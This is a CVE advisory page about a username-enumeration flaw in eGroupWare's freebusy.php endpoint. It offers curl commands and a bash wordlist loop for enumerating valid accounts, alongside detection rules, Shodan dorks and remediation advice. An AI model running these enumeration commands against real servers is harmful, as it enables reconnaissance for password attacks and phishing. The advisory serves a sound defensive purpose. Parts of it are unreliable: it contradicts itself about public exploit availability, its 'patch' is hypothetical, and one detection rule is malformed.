☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-203
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-38327

CVE-2023-38327 Security Advisory in Egroupware
📅 PUBLISHED: 2025-07-11 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.15%
👁️
0.15% probability
3.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1589
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 17.1.20190111
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-38327 identifies a user enumeration vulnerability in eGroupWare version 17.1.20190111, specifically within the calendar/freebusy.php endpoint. This flaw allows unauthenticated remote attackers to determine valid usernames by analyzing server responses. The vulnerability stems from observable behavioral differences (CWE-203) when querying existing versus non-existing users, enabling attackers to build a target list for further attacks such as brute-force or phishing. The CVSS score is 0.0 due to incomplete NVD data, but the actual risk is elevated given the lack of authentication required and the potential for reconnaissance. No official patch has been confirmed, and no public exploit code or Nuclei template is available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – Unauthenticated.
  • User Interaction (UI): None (N) – No user action needed.
  • Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
  • Confidentiality (C): Low (L) – Only user existence is disclosed.
  • Integrity (I): None (N) – No data modification.
  • Availability (A): None (N) – No service disruption.

Threat Level: Medium. While the direct impact is limited to information disclosure, the reconnaissance value is high for subsequent attacks.

Deep Dive & Mechanics

The vulnerability resides in the calendar/freebusy.php script, which is designed to provide free/busy calendar information for users. The endpoint accepts a user parameter (e.g., ?user=admin) and returns different HTTP responses or content based on whether the user exists. An unauthenticated attacker can send requests to this endpoint and observe:

  • Existing user: Returns a valid free/busy response (e.g., HTTP 200 with calendar data).
  • Non-existing user: Returns an error message or HTTP 404.

This behavioral difference allows enumeration without authentication. The root cause is the lack of consistent error handling for invalid usernames, violating the principle of indistinguishability.

Vulnerable vs. Patched Code

Vulnerable Code (eGroupWare 17.1.20190111):

// calendar/freebusy.php (simplified)
$user = $_GET['user'];
$user_id = $GLOBALS['egw']->account->name2id($user);
if ($user_id) {
    // Return free/busy data
    echo generate_freebusy($user_id);
} else {
    // Return error
    http_response_code(404);
    echo "User not found";
}

Patched Code (Hypothetical):

// calendar/freebusy.php (patched)
$user = $_GET['user'];
$user_id = $GLOBALS['egw']->account->name2id($user);
if ($user_id) {
    // Return free/busy data
    echo generate_freebusy($user_id);
} else {
    // Return generic response to avoid enumeration
    http_response_code(200);
    echo "No data available";
}

The patch ensures that both existing and non-existing users receive the same HTTP status code and generic response, eliminating the observable difference.

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy eGroupWare 17.1.20190111 in a Docker container.
  2. Create test users: admin, user1, user2.
  3. Access the vulnerable endpoint: http://target/egroupware/calendar/freebusy.php.

Exploitation Steps:

  1. Send a request for a known user:
    curl -v "http://target/egroupware/calendar/freebusy.php?user=admin"
    
    • Response: HTTP 200 with calendar data.
  2. Send a request for a non-existing user:
    curl -v "http://target/egroupware/calendar/freebusy.php?user=nonexistent"
    
    • Response: HTTP 404 or error message.
  3. Automate enumeration using a wordlist:
    for user in $(cat usernames.txt); do
        response=$(curl -s -o /dev/null -w "%{http_code}" "http://target/egroupware/calendar/freebusy.php?user=$user")
        if [ "$response" == "200" ]; then
            echo "Valid user: $user"
        fi
    done
    

Blue Team

Detection:

  • Monitor for repeated requests to /egroupware/calendar/freebusy.php with varying user parameters.
  • Look for patterns of sequential or dictionary-based username guessing.
  • Alert on HTTP 404 responses followed by 200 responses from the same IP.

Mitigation:

  • Implement rate limiting on the freebusy.php endpoint.
  • Apply a Web Application Firewall (WAF) rule to block suspicious enumeration patterns.
  • Upgrade to a patched version if available, or apply the hypothetical patch.

Indicators of Compromise (IOCs)

  • Network:
    • Repeated HTTP requests to /egroupware/calendar/freebusy.php?user=<username>.
    • Source IPs with high request rates to the endpoint.
  • Logs:
    • Web server logs showing HTTP 404 and 200 responses for the same endpoint from the same IP.
    • Access logs with freebusy.php and user parameter.
  • File:
    • No file-based IOCs; purely network-based.

Detection Engineering

YARA Rule

rule detect_egroupware_enumeration {
    meta:
        description = "Detects user enumeration attempts against eGroupWare freebusy.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-38327"
    strings:
        $endpoint = "/egroupware/calendar/freebusy.php"
        $user_param = "user="
    condition:
        #endpoint > 0 and #user_param > 0
}

Sigma Rule

title: eGroupWare User Enumeration via freebusy.php
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects multiple requests to freebusy.php with different user parameters
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem: "/egroupware/calendar/freebusy.php"
        cs-uri-query: "user=*"
    condition: selection
    timeframe: 5m
    condition: selection | count() by src_ip > 10
falsepositives:
    - Legitimate calendar queries for multiple users
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-38327 eGroupWare User Enumeration Attempt"; flow:to_server; content:"/egroupware/calendar/freebusy.php"; http_uri; content:"user="; http_uri; threshold: type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate:
    • Restrict access to freebusy.php via .htaccess or firewall rules to trusted IPs only.
    • Implement rate limiting on the endpoint.
  2. Short-term:
    • Apply the hypothetical patch to return consistent responses for all users.
    • Monitor logs for enumeration attempts and block offending IPs.
  3. Long-term:
    • Upgrade to a patched version of eGroupWare if released.
    • Conduct a security audit of all endpoints for similar enumeration vulnerabilities.

Valters IT – Securing digital frontiers with precision and expertise.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"eGroupWare"
http.html:"eGroupWare" "freebusy.php"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-38327/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.